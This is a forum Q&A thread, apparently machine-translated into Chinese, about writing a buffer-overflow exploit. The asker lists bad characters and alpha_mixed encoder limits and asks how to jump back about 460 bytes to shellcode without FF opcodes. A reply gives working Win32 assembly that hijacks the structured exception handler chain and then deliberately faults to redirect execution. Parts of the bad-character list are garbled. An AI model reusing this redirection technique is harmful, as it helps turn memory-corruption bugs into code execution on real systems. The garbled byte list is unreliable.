更新:由于我能够将正确的地址输入到要跳转/调用的寄存器中,我认为最好的选择是找到一种方法,在jmp/call寄存器中产生自修改代码。例如,FFD6调用esi有人能给我一些指针吗?或者在汇编中给我一个如何获得结果FFD6的例子吗?
我在利用漏洞,由于角色不好,很难在堆栈中向后移动。我需要向后移动约460字节才能到达缓冲区的开头。
以下是坏字符列表:
\x0a\x0d\x1a\x80\x82\x83\x84\x85\x87\x88\x89\x8a\x8b\x8c\x8e\x8f\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd0 1\xd2\xd3\xd4\xd5\xd6\xd7\xd9\xda\xdb\xdc\xdd\xdf\xe0\xe1\xe2\xe3\xe4\x5\x6\x7\x8\x9\xea\xeb\xxee\xee\xee\xxf0\xf1\xf2\xf3\xf4\xf5\xf\xf7xf8\xf\xfa\xfb\xfd\xf\xf
我被限制为x86\alpha_mixed,有几个例外,比如x81&x8d。我能够在堆栈中向后移动的唯一方法是\x74\x81(这是允许的字符),但我必须这样做4次才能返回~460。这并不是什么大不了的事,只是当我已经不得不将shell代码编码为alpha_mixed时,这也会让我很难对其进行分段。
我不是汇编大师,所以我有没有其他遗漏的方法可以在没有jmp或call(FF)的情况下直接返回?
我有一个有效的解决方案,但它仅适用于Windows,并且基于其他一些假设。
它并没有完全优化,我想有更好的方法来完成这部分。。。
; ASSUMPTIONS:
; Platform is Win32
; ESI contains address to be jumped to
; All characters except for 00 and the ones you listed above are allowed
; The contents of the registers after the jump don't matter
; BASIC METHOD:
; 1) Set up a structured exception handler pointing to your target address
; 2) Cause an exception
; Get zero into EAX and EDX
00401000 B8 11111111 MOV EAX, 11111111
00401005 35 11111111 XOR EAX, 11111111
0040100A 50 PUSH EAX
0040100B 5A POP EDX
; First part of the SEH: Push target address
0040100C 56 PUSH ESI
; Second part of the SEH: Read FS:[0] and push it
0040100D 64:0310 ADD EDX, FS:[EAX]
00401010 52 PUSH EDX
; Get zero into EDX again
00401011 50 PUSH EAX
00401012 5A POP EDX
; Write new SEH pointer into FS:[0]
00401013 64:2110 AND FS:[EAX], EDX
00401016 64:0120 ADD FS:[EAX], ESP
; Trigger exception (writing to memory at address zero)
00401019 0110 ADD [EAX], EDX